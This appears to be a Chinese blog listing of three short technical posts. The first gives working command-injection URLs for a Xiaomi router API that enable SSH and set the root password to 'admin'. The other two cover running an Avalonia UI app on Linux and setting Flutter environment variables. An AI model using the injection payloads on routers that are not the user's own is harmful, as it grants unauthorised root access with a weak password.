xiaoyaocz 发布的文章

1、登录路由器获取stok
即URL里的stok参数
http://miwifi.com/cgi-bin/luci/;stok=xxxxxxxxxxxxxxxxxxxxxxx/web/home#router

2、打开以下URL打开ssh
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B

返回{"code":0}则成功

3、修改默认密码为admin
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B

以上方法固件1.0.26测试通过

QQ截图20210129104722.png

MIXBOX:
https://github.com/monlor/MIXBOX-ARCHIVE

旧版固件下载:
http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/ra67/miwifi_ra67_firmware_63805_1.0.16.bin

http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/ra67/miwifi_ra67_all_f3fac_1.0.26.bin

来源:
https://www.right.com.cn/forum/forum.php?mod=viewthread&tid=4032490&highlight=ax5&mobile=2

Avalonia UI是一个.Net Core跨平台UI框架,支持多种操作系统:Windows、Linux、MacOS等。

一、跑个Hello World
1、安装Avalonia扩展
VS安装此扩展

https://marketplace.visualstudio.com/items?itemName=AvaloniaTeam.AvaloniaforVisualStudio

安装完后打开VS,创建一个Avalonia项目

QQ截图20201203222458.png

创建完项目后生成一下即可在VS中实时预览

QQ截图20201203222732.png

二、跑在Linux上试试

既然Avalonia支持跨平台,那在Windows上运行没问题后,把文件打包一下,发到Linux上试试能不能跑起来,我这里用得统信UOS

右击项目选择发布,设置一下发布文件

QQ截图20201203223550.png

将发布文件复制到UOS中,双击HelloAvalonia文件添加权限即可直接打开,也可以终端中输入命令./HelloAvalonia打开
(UOS需要打开开发者权限)

QQ截图20201203224101.png

1、修改 $HOME/.zshrc文件

vim $HOME/.zshrc

2、添加以下内容

# Flutter路径
export PATH="$PATH:[Flutter路径]/flutter/bin"
# 国内镜像
export PUB_HOSTED_URL=https://pub.flutter-io.cn
export FLUTTER_STORAGE_BASE_URL=https://storage.flutter-io.cn
# 代理
export HTTP_PROXY=http://127.0.0.1:1080
export HTTPS_PROXY=http://127.0.0.1:1080

3、刷新

source $HOME/.zshrc

4、检查Flutter信息

flutter doctor